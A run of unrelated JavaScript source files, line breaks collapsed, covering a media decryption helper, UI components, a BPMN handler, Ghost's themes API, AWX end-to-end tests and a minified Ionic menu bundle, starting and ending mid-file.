iv = mediaKeyExpanded.slice(0, 16); var cipherKey = mediaKeyExpanded.slice(16, 48); var decipher = crypto.createDecipheriv('aes-256-cbc', cipherKey, iv); var decoded = decipher.update(encodedBytes); var mediaDataBuffer = expectedSize ? fixPadding(decoded, expectedSize) : decoded; return mediaDataBuffer; }; exports.magix = magix; var fixPadding = function (data, expectedSize) { var padding = (16 - (expectedSize % 16)) & 0xf; if (padding > 0) { if (expectedSize + padding == data.length) { // console.log(`trimmed: ${padding} bytes`); data = data.slice(0, data.length - padding); } else if (data.length + padding == expectedSize) { // console.log(`adding: ${padding} bytes`); var arr = new Uint16Array(padding).map(function (b) { return padding; }); data = Buffer.concat([data, Buffer.from(arr)]); } } //@ts-ignore return Buffer.from(data, 'utf-8'); }; var hexToBytes = function (hexStr) { var intArray = []; for (var i = 0; i < hexStr.length; i += 2) { intArray.push(parseInt(hexStr.substr(i, 2), 16)); } return new Uint8Array(intArray); }; var base64ToBytes = function (base64Str) { var binaryStr = atob(base64Str); var byteArray = new Uint8Array(binaryStr.length); for (var i = 0; i < binaryStr.length; i++) { byteArray[i] = binaryStr.charCodeAt(i); } return byteArray; }; //# sourceMappingURL=decrypt.js.map
/* *SPDX-License-Identifier: Apache-2.0 */ var Persist = require('./postgreSQL/Persist.js') class PersistenceFactory { static async create (db) { if (db === 'postgreSQL') { var persist = new Persist() await persist.initialize() return persist } throw ('Invalid Platform123') } } module.exports = PersistenceFactory
/*! * @preserve * * Readmore.js jQuery plugin * Author: @jed_foster * Project home: http://jedfoster.github.io/Readmore.js * Licensed under the MIT license * * Debounce function from http://davidwalsh.name/javascript-debounce-function */ !function(e){"use strict";function t(e,t,a){var i;return function(){var n=this,o=arguments,r=function(){i=null,a||e.apply(n,o)},s=a&&!i;clearTimeout(i),i=setTimeout(r,t),s&&e.apply(n,o)}}function a(e){var t=++h;return String(null==e?"rmjs-":e)+t}function i(e){var t=e.clone().css({height:"auto",width:e.width(),maxHeight:"none",overflow:"hidden"}).insertAfter(e),a=t.outerHeight(),i=parseInt(t.css({maxHeight:""}).css("max-height").replace(/[^-\d\.]/g,""),10),n=e.data("defaultHeight");t.remove();var o=i||e.data("collapsedHeight")||n;e.data({expandedHeight:a,maxHeight:i,collapsedHeight:o}).css({maxHeight:"none"})}function n(e){if(!d[e.selector]){var t=" ";e.embedCSS&&""!==e.blockCSS&&(t+=e.selector+" + [data-readmore-toggle], "+e.selector+"[data-readmore]{"+e.blockCSS+"}"),t+=e.selector+"[data-readmore]{transition: height "+e.speed+"ms;overflow: hidden;}",function(e,t){var a=e.createElement("style");a.type="text/css",a.styleSheet?a.styleSheet.cssText=t:a.appendChild(e.createTextNode(t)),e.getElementsByTagName("head")[0].appendChild(a)}(document,t),d[e.selector]=!0}}function o(t,a){this.element=t,this.options=e.extend({},s,a),n(this.options),this._defaults=s,this._name=r,this.init(),window.addEventListener?(window.addEventListener("load",l),window.addEventListener("resize",l)):(window.attachEvent("load",l),window.attachEvent("resize",l))}var r="readmore",s={speed:100,collapsedHeight:200,heightMargin:16,moreLink:'<a href="#">Read More</a>',lessLink:'<a href="#">Close</a>',embedCSS:!0,blockCSS:"display: block; width: 100%;",startOpen:!1,beforeToggle:function(){},afterToggle:function(){}},d={},h=0,l=t(function(){e("[data-readmore]").each(function(){var t=e(this),a="true"===t.attr("aria-expanded");i(t),t.css({height:t.data(a?"expandedHeight":"collapsedHeight")})})},100);o.prototype={init:function(){var t=this,n=e(this.element);n.data({defaultHeight:this.options.collapsedHeight,heightMargin:this.options.heightMargin}),i(n);var o=n.data("collapsedHeight"),r=n.data("heightMargin");if(n.outerHeight(!0)<=o+r)return!0;var s=n.attr("id")||a(),d=t.options.startOpen?t.options.lessLink:t.options.moreLink;n.attr({"data-readmore":"","aria-expanded":!1,id:s}),n.after(e(d).on("click",function(e){t.toggle(this,n[0],e)}).attr({"data-readmore-toggle":"","aria-controls":s})),t.options.startOpen||n.css({height:o})},toggle:function(t,a,i){i&&i.preventDefault(),t||(t=e('[aria-controls="'+this.element.id+'"]')[0]),a||(a=this.element);var n=this,o=e(a),r="",s="",d=!1,h=o.data("collapsedHeight");o.height()<=h?(r=o.data("expandedHeight")+"px",s="lessLink",d=!0):(r=h,s="moreLink"),n.options.beforeToggle(t,a,!d),o.css({height:r}),o.on("transitionend",function(){n.options.afterToggle(t,a,d),e(this).attr({"aria-expanded":d}).off("transitionend")}),e(t).replaceWith(e(n.options[s]).on("click",function(e){n.toggle(this,a,e)}).attr({"data-readmore-toggle":"","aria-controls":o.attr("id")}))},destroy:function(){e(this.element).each(function(){var t=e(this);t.attr({"data-readmore":null,"aria-expanded":null}).css({maxHeight:"",height:""}).next("[data-readmore-toggle]").remove(),t.removeData()})}},e.fn.readmore=function(t){var a=arguments,i=this.selector;return t=t||{},"object"==typeof t?this.each(function(){if(e.data(this,"plugin_"+r)){var a=e.data(this,"plugin_"+r);a.destroy.apply(a)}t.selector=i,e.data(this,"plugin_"+r,new o(this,t))}):"string"==typeof t&&"_"!==t[0]&&"init"!==t?this.each(function(){var i=e.data(this,"plugin_"+r);i instanceof o&&"function"==typeof i[t]&&i[t].apply(i,Array.prototype.slice.call(a,1))}):void 0}}(jQuery);
const Like = { author: (parent, args, { db }, info) => db.author.findAll({ where: { id: parent.authorId } }) } const likes = { resolve: (parent, { postId }, { db }, info) => db.like.findAll({ where: { postId: postId } }) } module.exports = { Like, likes }
'use strict' var forEach = require('lodash/forEach') /** * A handler that implements a BPMN 2.0 property update * for business object lists which are not represented in the * diagram. * * This is useful in the context of the properties panel in * order to update child elements of elements visible in * the diagram. * * Example: perform an update of a specific event definition * of an intermediate event. * * @class * @constructor */ function UpdateBusinessObjectListHandler(elementRegistry, bpmnFactory) { this._elementRegistry = elementRegistry this._bpmnFactory = bpmnFactory } UpdateBusinessObjectListHandler.$inject = ['elementRegistry', 'bpmnFactory'] module.exports = UpdateBusinessObjectListHandler function ensureNotNull(prop, name) { if (!prop) { throw new Error(name + 'required') } return prop } // api ///////////////////////////////////////////// /** * Updates a element under a provided parent. */ UpdateBusinessObjectListHandler.prototype.execute = function(context) { var currentObject = ensureNotNull(context.currentObject, 'currentObject'), propertyName = ensureNotNull(context.propertyName, 'propertyName'), updatedObjectList = context.updatedObjectList, objectsToRemove = context.objectsToRemove || [], objectsToAdd = context.objectsToAdd || [], changed = [context.element], // this will not change any diagram-js elements referencePropertyName if (context.referencePropertyName) { referencePropertyName = context.referencePropertyName } var objectList = currentObject[propertyName] // adjust array reference in the parent business object context.previousList = currentObject[propertyName] if (updatedObjectList) { currentObject[propertyName] = updatedObjectList } else { var listCopy = [] // remove all objects which should be removed forEach(objectList, function(object) { if (objectsToRemove.indexOf(object) == -1) { listCopy.push(object) } }) // add all objects which should be added listCopy = listCopy.concat(objectsToAdd) // set property to new list if (listCopy.length > 0 || !referencePropertyName) { // as long as there are elements in the list update the list currentObject[propertyName] = listCopy } else if (referencePropertyName) { // remove the list when it is empty var parentObject = currentObject.$parent parentObject.set(referencePropertyName, undefined) } } context.changed = changed // indicate changed on objects affected by the update return changed } /** * Reverts the update * * @method CreateBusinessObjectListHandler#revert * * @param {Object} context * * @return {djs.mode.Base} the updated element */ UpdateBusinessObjectListHandler.prototype.revert = function(context) { var currentObject = context.currentObject, propertyName = context.propertyName, previousList = context.previousList, parentObject = currentObject.$parent if (context.referencePropertyName) { parentObject.set(context.referencePropertyName, currentObject) } // remove new element currentObject.set(propertyName, previousList) return context.changed }
import React from 'react'; import { Box, Fab, Typography, Tooltip, Stack } from '@material-ui/core'; import FeatherIcon from 'feather-icons-react'; import BaseCard from '../../base-card/BaseCard'; const FabColorButtons = () => ( <BaseCard title="Color FAB"> <Box sx={{ display: 'flex', justifyContent: 'center', mb: 2, }} > <Stack spacing={1} direction={{ xs: 'column', sm: 'row' }}> <Tooltip title="Send"> <Fab aria-label="send"> <FeatherIcon icon="send" width="20" /> </Fab> </Tooltip> <Tooltip title="Send"> <Fab color="primary" aria-label="send"> <FeatherIcon icon="send" width="20" /> </Fab> </Tooltip> <Tooltip title="Send"> <Fab color="secondary" aria-label="send"> <FeatherIcon icon="send" width="20" /> </Fab> </Tooltip> </Stack> </Box> <Box display="flex" justifyContent="center"> {/* extended */} <Stack spacing={1} direction={{ xs: 'column', sm: 'row' }}> <Fab variant="extended" sx={{ mr: 1, mb: 2, }} aria-label="default-send" > <FeatherIcon icon="send" width="20" /> <Typography sx={{ ml: 1, textTransform: 'capitalize', }} > Default </Typography> </Fab> <Fab variant="extended" color="primary" sx={{ mr: 1, mb: 2, }} aria-label="primary-send" > <FeatherIcon icon="send" width="20" /> <Typography sx={{ ml: 1, textTransform: 'capitalize', }} > Primary </Typography> </Fab> <Fab variant="extended" color="secondary" sx={{ mr: 1, mb: 2, }} aria-label="secondary-send" > <FeatherIcon icon="send" width="20" /> <Typography sx={{ ml: 1, textTransform: 'capitalize', }} > Secondary </Typography> </Fab> </Stack> </Box> </BaseCard> ); export default FabColorButtons;
import React from 'react'; import classNames from 'classnames'; import styles from './index.less'; const StandardFormRow = ({ title, children, last, block, grid, ...rest }) => { const cls = classNames(styles.standardFormRow, { [styles.standardFormRowBlock]: block, [styles.standardFormRowLast]: last, [styles.standardFormRowGrid]: grid, }); return ( <div className={cls} {...rest}> {title && ( <div className={styles.label}> <span>{title}</span> </div> )} <div className={styles.content}>{children}</div> </div> ); }; export default StandardFormRow;
export default function capitalizeFirstSymbol(targetString) { return targetString.charAt(0).toUpperCase() + targetString.slice(1); }
// All material copyright ESRI, All Rights Reserved, unless otherwise specified. // See https://js.arcgis.com/4.11/esri/copyright.txt for details. //>>built define("require exports ../core/promiseUtils ./pe ./SpatialReference ./support/GeographicTransformation".split(" "),function(q,b,r,e,n,h){function k(c,f,a,d,b){void 0===d&&(d=null);void 0===b&&(b=!1);if(null===d){var e=h.cacheKey(f,a);void 0!==l[e]?d=l[e]:(d=p(f,a,null),null===d&&(d=new h),l[e]=d)}return g._project(c,f,a instanceof n||!1===b?a:new n(a),d,b)}function p(c,f,a){void 0===a&&(a=null);c=g._getTransformation(c,f,a);return null!==c?h.fromGE(c):null}Object.defineProperty(b,"__esModule",{value:!0}); var g=null;b.isLoaded=function(){return!!g&&e.isLoaded()};b.isSupported=function(){return e.isSupported()};var m=null;b.load=function(){return m?m:m=r.create(function(c,f){var a=e.load();q(["./geometryEngine"],function(b){g=b;a.then(function(){g._enableProjection(e);c()},function(a){f(a)})})})};b.project=function(c,b,a){void 0===a&&(a=null);return c instanceof Array?0===c.length?[]:k(c,c[0].spatialReference,b,a):k([c],c.spatialReference,b,a)[0]};var l={};b.projectMany=k;b.getTransformation=p;b.getTransformations= function(c,b,a){void 0===a&&(a=null);c=g._getTransformationBySuitability(c,b,a);if(null!==c){b=[];for(a=0;a<c.length;a++)b.push(h.fromGE(c[a]));return b}return[]}});
// eslint-disable-next-line no-unused-vars module.exports = function middlewareBasicError(error, req, res, next) { if (error.code === 'INVALID_REQUEST_DATA') { res.status(400).json({ error: { message: 'invalid request data', requestPart: error.requestPart, details: error.details } }); } else { req.logger.error({req, err: error}); res.status(500).json({ error: 'Server Error' }); } };
// # Themes API // RESTful API for Themes var debug = require('ghost-ignition').debug('api:themes'), Promise = require('bluebird'), fs = require('fs-extra'), localUtils = require('./utils'), common = require('../lib/common'), settingsModel = require('../models/settings').Settings, settingsCache = require('../services/settings/cache'), themeUtils = require('../services/themes'), themeList = themeUtils.list, themes; /** * ## Themes API Methods * * **See:** [API Methods](constants.js.html#api%20methods) */ themes = { /** * Every role can browse all themes. The response contains a list of all available themes in your content folder. * The active theme get's marked as `active:true` and contains an extra object `templates`, which * contains the custom templates of the active theme. These custom templates are used to show a dropdown * in the PSM to be able to choose a custom post template. */ browse: function browse(options) { return localUtils // Permissions .handlePermissions('themes', 'browse')(options) // Main action .then(function makeApiResult() { // Return JSON result return themeUtils.toJSON(); }); }, activate: function activate(options) { var themeName = options.name, newSettings = [{ key: 'active_theme', value: themeName }], loadedTheme, checkedTheme; return localUtils // Permissions .handlePermissions('themes', 'activate')(options) // Validation .then(function validateTheme() { loadedTheme = themeList.get(themeName); if (!loadedTheme) { return Promise.reject(new common.errors.ValidationError({ message: common.i18n.t('notices.data.validation.index.themeCannotBeActivated', {themeName: themeName}), context: 'active_theme' })); } return themeUtils.validate.check(loadedTheme); }) // Update setting .then(function changeActiveThemeSetting(_checkedTheme) { checkedTheme = _checkedTheme; // We use the model, not the API here, as we don't want to trigger permissions return settingsModel.edit(newSettings, options); }) // Call activate .then(function hasEditedSetting() { // Activate! (sort of) debug('Activating theme (method B on API "activate")', themeName); themeUtils.activate(loadedTheme, checkedTheme); // Return JSON result return themeUtils.toJSON(themeName, checkedTheme); }); }, upload: function upload(options) { options = options || {}; // consistent filename uploads options.originalname = options.originalname.toLowerCase(); var zip = { path: options.path, name: options.originalname, shortName: themeUtils.storage.getSanitizedFileName(options.originalname.split('.zip')[0]) }, checkedTheme; // check if zip name is casper.zip if (zip.name === 'casper.zip') { throw new common.errors.ValidationError({message: common.i18n.t('errors.api.themes.overrideCasper')}); } return localUtils // Permissions .handlePermissions('themes', 'add')(options) // Validation .then(function validateTheme() { return themeUtils.validate.check(zip, true); }) // More validation (existence check) .then(function checkExists(_checkedTheme) { checkedTheme = _checkedTheme; return themeUtils.storage.exists(zip.shortName); }) // If the theme existed we need to delete it .then(function removeOldTheme(themeExists) { // delete existing theme if (themeExists) { return themeUtils.storage.delete(zip.shortName); } }) .then(function storeNewTheme() { // store extracted theme return themeUtils.storage.save({ name: zip.shortName, path: checkedTheme.path }); }) .then(function loadNewTheme() { // Loads the theme from the filesystem // Sets the theme on the themeList return themeUtils.loadOne(zip.shortName); }) .then(function activateAndReturn(loadedTheme) { // If this is the active theme, we are overriding // This is a special case of activation if (zip.shortName === settingsCache.get('active_theme')) { // Activate! (sort of) debug('Activating theme (method C, on API "override")', zip.shortName); themeUtils.activate(loadedTheme, checkedTheme); } // @TODO: unify the name across gscan and Ghost! return themeUtils.toJSON(zip.shortName, checkedTheme); }) .finally(function () { // @TODO we should probably do this as part of saving the theme // remove zip upload from multer // happens in background fs.remove(zip.path) .catch(function (err) { common.logging.error(new common.errors.GhostError({err: err})); }); // @TODO we should probably do this as part of saving the theme // remove extracted dir from gscan // happens in background if (checkedTheme) { fs.remove(checkedTheme.path) .catch(function (err) { common.logging.error(new common.errors.GhostError({err: err})); }); } }); }, download: function download(options) { var themeName = options.name, theme = themeList.get(themeName); if (!theme) { return Promise.reject(new common.errors.BadRequestError({message: common.i18n.t('errors.api.themes.invalidRequest')})); } return localUtils // Permissions .handlePermissions('themes', 'read')(options) .then(function sendTheme() { return themeUtils.storage.serve({ name: themeName }); }); }, /** * remove theme zip * remove theme folder */ destroy: function destroy(options) { var themeName = options.name, theme; return localUtils // Permissions .handlePermissions('themes', 'destroy')(options) // Validation .then(function validateTheme() { if (themeName === 'casper') { throw new common.errors.ValidationError({message: common.i18n.t('errors.api.themes.destroyCasper')}); } if (themeName === settingsCache.get('active_theme')) { throw new common.errors.ValidationError({message: common.i18n.t('errors.api.themes.destroyActive')}); } theme = themeList.get(themeName); if (!theme) { throw new common.errors.NotFoundError({message: common.i18n.t('errors.api.themes.themeDoesNotExist')}); } // Actually do the deletion here return themeUtils.storage.delete(themeName); }) // And some extra stuff to maintain state here .then(function deleteTheme() { themeList.del(themeName); // Delete returns an empty 204 response }); } }; module.exports = themes;
import Route from '@ember/routing/route'; import { inject as service } from '@ember/service'; export default Route.extend({ storageSvc: service('storage'), model () { return { form: this.storageSvc.getFormData(), list: this.store.findAll('campground'), } } });
import { getJobTemplate, getUpdatedProject, } from '../fixtures'; import { AWX_E2E_TIMEOUT_MEDIUM, } from '../settings'; const namespace = 'test-pagination'; module.exports = { before: (client, done) => { const resources = [getUpdatedProject(namespace)]; Promise.all(resources) .then(() => { for (let i = 0; i < 25; i++) { // Create enough job templates to make at least 2 pages of data resources.push(getJobTemplate(namespace, 'hello_world.yml', `${namespace}-job-template-${i}`, false)); } Promise.all(resources) .then(() => done()); }); client .login() .waitForAngular() .resizeWindow(1200, 1000); }, 'Test job template pagination': client => { client .useCss() .findThenClick('[ui-sref="templates"]', 'css') .waitForElementVisible('.SmartSearch-input') .clearValue('.SmartSearch-input'); const firstRow = client .getText('#templates_list .at-RowItem-header > a:nth-of-type(1)'); client.findThenClick('.Paginate-controls--next', 'css'); client.expect.element('#templates_list .at-RowItem-header > a:nth-of-type(1)') .to.have.value.not.equals(firstRow).before(AWX_E2E_TIMEOUT_MEDIUM); client.findThenClick('.Paginate-controls--previous', 'css'); }, 'Test filtered job template pagination': client => { client .useCss() .waitForElementVisible('.SmartSearch-input') .clearValue('.SmartSearch-input') .setValue( '.SmartSearch-input', [`name.istartswith:"${namespace}"`, client.Keys.ENTER] ); client.useXpath().expect.element('//a[text()="test-pagination-job-template-0"]') .to.be.visible.after(AWX_E2E_TIMEOUT_MEDIUM); client.useCss().findThenClick('.Paginate-controls--next', 'css'); // Default search sort uses alphanumeric sorting, so template #9 is last client.useXpath().expect.element('//a[text()="test-pagination-job-template-9"]') .to.be.visible.after(AWX_E2E_TIMEOUT_MEDIUM); client.useXpath() .expect.element('//*[contains(@class, "Paginate-controls--active") and text()="2"]') .to.be.visible.after(AWX_E2E_TIMEOUT_MEDIUM); client .useCss() .findThenClick('.Paginate-controls--previous', 'css'); // Default search sort uses alphanumeric sorting, so template #9 is last client.useXpath().expect.element('//a[text()="test-pagination-job-template-0"]') .to.be.visible.after(AWX_E2E_TIMEOUT_MEDIUM); client.useXpath() .expect.element('//*[contains(@class, "Paginate-controls--active") and text()="1"]') .to.be.visible.after(AWX_E2E_TIMEOUT_MEDIUM); }, after: client => { client.end(); } };
import React, { Component } from "react"; import logo from "./assets/images/react.png"; class App extends Component { render() { return ( <div> <div className="container"> <img src={logo} className="logo" /> <h1 className="text">Welcome to Codeigniter With Reactjs Bundle</h1> <p className="text"> Documentation | Reactjs : <a href="https://reactjs.org/"> Here</a> | Codeigniter 4 |{" "} <a href="https://codeigniter.com/user_guide/index.html">Here</a> </p> <p className="text"> this component you can change inside folder /src </p> <h6 className="text"> created by : Muhammad Irhas Albais | Github :{" "} <a href="https://github.com/irhasalba">Here</a>{" "} </h6> </div> </div> ); } } export default App;
const R = require('ramda'); describe('router.js contains a Profile Route', () => { let spy; before(() => { if (typeof router === 'undefined') { spy = { restore: () => { } }; } else { spy = sinon.spy(router, 'render'); } }); it('should contain the profile route @router-get-profile-route', done => { assert(typeof router === 'function', '`router` const has not been created in `router.js`.'); request(router) .get('/profile') .expect(() => { assert(spy.called, 'The profile route may have not been created.'); assert( spy.firstCall.args[0] === 'profile', 'The profile route does not seem to be rendering the `profile` view.' ); assert( R.propEq('name', 'PS User')(spy.firstCall.args[1].user), 'The profile route may be missing a user object.' ); }) .end(done); }); after(() => { spy.restore(); }); });
function _defineProperty(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function asyncGeneratorStep(e,t,n,i,r,o,a){try{var s=e[o](a),c=s.value}catch(u){return void n(u)}s.done?t(c):Promise.resolve(c).then(i,r)}function _asyncToGenerator(e){return function(){var t=this,n=arguments;return new Promise((function(i,r){var o=e.apply(t,n);function a(e){asyncGeneratorStep(o,i,r,a,s,"next",e)}function s(e){asyncGeneratorStep(o,i,r,a,s,"throw",e)}a(void 0)}))}}function _classCallCheck(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function _defineProperties(e,t){for(var n=0;n<t.length;n++){var i=t[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(e,i.key,i)}}function _createClass(e,t,n){return t&&_defineProperties(e.prototype,t),n&&_defineProperties(e,n),e}(window.webpackJsonp=window.webpackJsonp||[]).push([[59],{WHty:function(e,t,n){"use strict";n.r(t),n.d(t,"ion_menu",(function(){return h})),n.d(t,"ion_menu_button",(function(){return g})),n.d(t,"ion_menu_toggle",(function(){return v}));var i=n("54nT"),r=n("AfW+"),o=n("aiEM"),a=(n("iAHb"),n("0AIG")),s=n("AzGJ"),c=n("MgeF"),u=n("Dl6n"),h=function(){function e(t){_classCallCheck(this,e),Object(i.k)(this,t),this.lastOnEnd=0,this.blocker=s.GESTURE_CONTROLLER.createBlocker({disableScroll:!0}),this.mode=Object(i.d)(this),this.easing="ios"===this.mode?"cubic-bezier(0.32,0.72,0,1)":"cubic-bezier(0.0,0.0,0.2,1)",this.easingReverse="ios"===this.mode?"cubic-bezier(1, 0, 0.68, 0.28)":"cubic-bezier(0.4, 0, 0.6, 1)",this.isAnimating=!1,this._isOpen=!1,this.isPaneVisible=!1,this.isEndSide=!1,this.disabled=!1,this.side="start",this.swipeGesture=!0,this.maxEdgeStart=50,this.ionWillOpen=Object(i.e)(this,"ionWillOpen",7),this.ionWillClose=Object(i.e)(this,"ionWillClose",7),this.ionDidOpen=Object(i.e)(this,"ionDidOpen",7),this.ionDidClose=Object(i.e)(this,"ionDidClose",7),this.ionMenuChange=Object(i.e)(this,"ionMenuChange",7)}var t,u,h,f,g;return _createClass(e,[{key:"typeChanged",value:function(e,t){var n=this.contentEl;n&&(void 0!==t&&n.classList.remove("menu-content-".concat(t)),n.classList.add("menu-content-".concat(e)),n.removeAttribute("style")),this.menuInnerEl&&this.menuInnerEl.removeAttribute("style"),this.animation=void 0}},{key:"disabledChanged",value:function(){this.updateState(),this.ionMenuChange.emit({disabled:this.disabled,open:this._isOpen})}},{key:"sideChanged",value:function(){this.isEndSide=Object(o.h)(this.side)}},{key:"swipeGestureChanged",value:function(){this.updateState()}},{key:"connectedCallback",value:(g=_asyncToGenerator(regeneratorRuntime.mark((function e(){var t,i,o=this;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:if(void 0===this.type&&(this.type=r.b.get("menuType","overlay")),t=this.el.parentNode,void 0===this.contentId&&console.warn('[DEPRECATED][ion-menu] Using the [main] attribute is deprecated, please use the "contentId" property instead:\nBEFORE:\n <ion-menu>...</ion-menu>\n <div main>...</div>\n\nAFTER:\n <ion-menu contentId="main-content"></ion-menu>\n <div id="main-content">...</div>\n'),!(i=void 0!==this.contentId?document.getElementById(this.contentId):t&&t.querySelector&&t.querySelector("[main]"))||!i.tagName){e.next=17;break}return this.contentEl=i,i.classList.add("menu-content"),this.typeChanged(this.type,void 0),this.sideChanged(),c.a._register(this),e.next=12,Promise.resolve().then(n.bind(null,"AzGJ"));case 12:e.t0={el:document,gestureName:"menu-swipe",gesturePriority:30,threshold:10,canStart:function(e){return o.canStart(e)},onWillStart:function(){return o.onWillStart()},onStart:function(){return o.onStart()},onMove:function(e){return o.onMove(e)},onEnd:function(e){return o.onEnd(e)}},this.gesture=e.sent.createGesture(e.t0),this.updateState(),e.next=18;break;case 17:console.error('Menu: must have a "content" element to listen for drag events on.');case 18:case"end":return e.stop()}}),e,this)}))),function(){return g.apply(this,arguments)})},{key:"componentDidLoad",value:(f=_asyncToGenerator(regeneratorRuntime.mark((function e(){return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:this.ionMenuChange.emit({disabled:this.disabled,open:this._isOpen}),this.updateState();case 1:case"end":return e.stop()}}),e,this)}))),function(){return f.apply(this,arguments)})},{key:"disconnectedCallback",value:function(){this.blocker.destroy(),c.a._unregister(this),this.animation&&this.animation.destroy(),this.gesture&&(this.gesture.destroy(),this.gesture=void 0),this.animation=void 0,this.contentEl=this.backdropEl=this.menuInnerEl=void 0}},{key:"onSplitPaneChanged",value:function(e){this.isPaneVisible=e.detail.isPane(this.el),this.updateState()}},{key:"onBackdropClick",value:function(e){this._isOpen&&this.lastOnEnd<e.timeStamp-100&&e.composedPath&&!e.composedPath().includes(this.menuInnerEl)&&(e.preventDefault(),e.stopPropagation(),this.close())}},{key:"isOpen",value:function(){return Promise.resolve(this._isOpen)}},{key:"isActive",value:function(){return Promise.resolve(this._isActive())}},{key:"open",value:function(){var e=!(arguments.length>0&&void 0!==arguments[0])||arguments[0];return this.setOpen(!0,e)}},{key:"close",value:function(){var e=!(arguments.length>0&&void 0!==arguments[0])||arguments[0];return this.setOpen(!1,e)}},{key:"toggle",value:function(){var e=!(arguments.length>0&&void 0!==arguments[0])||arguments[0];return this.setOpen(!this._isOpen,e)}},{key:"setOpen",value:function(e){var t=!(arguments.length>1&&void 0!==arguments[1])||arguments[1];return c.a._setOpen(this,e,t)}},{key:"_setOpen",value:(h=_asyncToGenerator(regeneratorRuntime.mark((function e(t){var n,i=arguments;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:if(n=!(i.length>1&&void 0!==i[1])||i[1],e.t0=!this._isActive()||this.isAnimating||t===this._isOpen,e.t0){e.next=10;break}return this.beforeAnimation(t),e.next=6,this.loadAnimation();case 6:return e.next=8,this.startAnimation(t,n);case 8:this.afterAnimation(t),e.t0=0;case 10:return e.abrupt("return",!e.t0);case 11:case"end":return e.stop()}}),e,this)}))),function(e){return h.apply(this,arguments)})},{key:"loadAnimation",value:(u=_asyncToGenerator(regeneratorRuntime.mark((function e(){var t;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:if(t=this.menuInnerEl.offsetWidth,e.t0=t===this.width&&void 0!==this.animation,e.t0){e.next=10;break}return this.width=t,this.animation&&(this.animation.destroy(),this.animation=void 0),e.next=7,c.a._createAnimation(this.type,this);case 7:this.animation=e.sent,r.b.getBoolean("animated",!0)||this.animation.duration(0),this.animation.fill("both");case 10:case"end":return e.stop()}}),e,this)}))),function(){return u.apply(this,arguments)})},{key:"startAnimation",value:(t=_asyncToGenerator(regeneratorRuntime.mark((function e(t,n){var i,r;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:if(i=!t,r=this.animation.direction(i?"reverse":"normal").easing(i?this.easingReverse:this.easing).onFinish((function(){"reverse"===r.getDirection()&&r.direction("normal")})),!n){e.next=6;break}return e.next=4,r.play();case 4:e.next=7;break;case 6:r.play({sync:!0});case 7:case"end":return e.stop()}}),e,this)}))),function(e,n){return t.apply(this,arguments)})},{key:"_isActive",value:function(){return!this.disabled&&!this.isPaneVisible}},{key:"canSwipe",value:function(){return this.swipeGesture&&!this.isAnimating&&this._isActive()}},{key:"canStart",value:function(e){return!!this.canSwipe()&&(!!this._isOpen||!c.a._getOpenSync()&&d(window,e.currentX,this.isEndSide,this.maxEdgeStart))}},{key:"onWillStart",value:function(){return this.beforeAnimation(!this._isOpen),this.loadAnimation()}},{key:"onStart",value:function(){this.isAnimating&&this.animation?this.animation.progressStart(!0,this._isOpen?1:0):Object(o.b)(!1,"isAnimating has to be true")}},{key:"onMove",value:function(e){if(this.isAnimating&&this.animation){var t=l(e.deltaX,this._isOpen,this.isEndSide)/this.width;this.animation.progressStep(this._isOpen?1-t:t)}else Object(o.b)(!1,"isAnimating has to be true")}},{key:"onEnd",value:function(e){var t=this;if(this.isAnimating&&this.animation){var n=this._isOpen,i=this.isEndSide,r=l(e.deltaX,n,i),s=this.width,c=r/s,u=e.velocityX,h=s/2,d=u>=0&&(u>.2||e.deltaX>h),p=u<=0&&(u<-.2||e.deltaX<-h),m=n?i?d:p:i?p:d,b=!n&&m;n&&!m&&(b=!0),this.lastOnEnd=e.currentTime;var f=m?.001:-.001,g=c<0?.01:c;f+=Object(a.a)([0,0],[.4,0],[.6,1],[1,1],Object(o.c)(0,g,.9999))[0]||0;var v=this._isOpen?!m:m;this.animation.easing("cubic-bezier(0.4, 0.0, 0.6, 1)").onFinish((function(){return t.afterAnimation(b)}),{oneTimeCallback:!0}).progressEnd(v?1:0,this._isOpen?1-f:f,300)}else Object(o.b)(!1,"isAnimating has to be true")}},{key:"beforeAnimation",value:function(e){Object(o.b)(!this.isAnimating,"_before() should not be called while animating"),this.el.classList.add(p),this.backdropEl&&this.backdropEl.classList.add(m),this.blocker.block(),this.isAnimating=!0,e?this.ionWillOpen.emit():this.ionWillClose.emit()}},{key:"afterAnimation",value:function(e){Object(o.b)(this.isAnimating,"_before() should be called while animating"),this._isOpen=e,this.isAnimating=!1,this._isOpen||this.blocker.unblock(),e?(this.contentEl&&this.contentEl.classList.add(b),this.ionDidOpen.emit()):(this.el.classList.remove(p),this.contentEl&&this.contentEl.classList.remove(b),this.backdropEl&&this.backdropEl.classList.remove(m),this.animation&&this.animation.stop(),this.ionDidClose.emit())}},{key:"updateState",value:function(){var e=this._isActive();this.gesture&&this.gesture.enable(e&&this.swipeGesture),!e&&this._isOpen&&this.forceClosing(),this.disabled||c.a._setActiveMenu(this),Object(o.b)(!this.isAnimating,"can not be animating")}},{key:"forceClosing",value:function(){Object(o.b)(this._isOpen,"menu cannot be closed"),this.isAnimating=!0,this.animation.direction("reverse").play({sync:!0}),this.afterAnimation(!1)}},{key:"render",value:function(){var e,t=this,n=this.isEndSide,r=this.type,o=this.disabled,a=this.mode,s=this.isPaneVisible;return Object(i.i)(i.a,{role:"navigation",class:(e={},_defineProperty(e,a,!0),_defineProperty(e,"menu-type-".concat(r),!0),_defineProperty(e,"menu-enabled",!o),_defineProperty(e,"menu-side-end",n),_defineProperty(e,"menu-side-start",!n),_defineProperty(e,"menu-pane-visible",s),e)},Object(i.i)("div",{class:"menu-inner",ref:function(e){return t.menuInnerEl=e}},Object(i.i)("slot",null)),Object(i.i)("ion-backdrop",{ref:function(e){return t.backdropEl=e},class:"menu-backdrop",tappable:!1,stopPropagation:!1}))}},{key:"el",get:function(){return 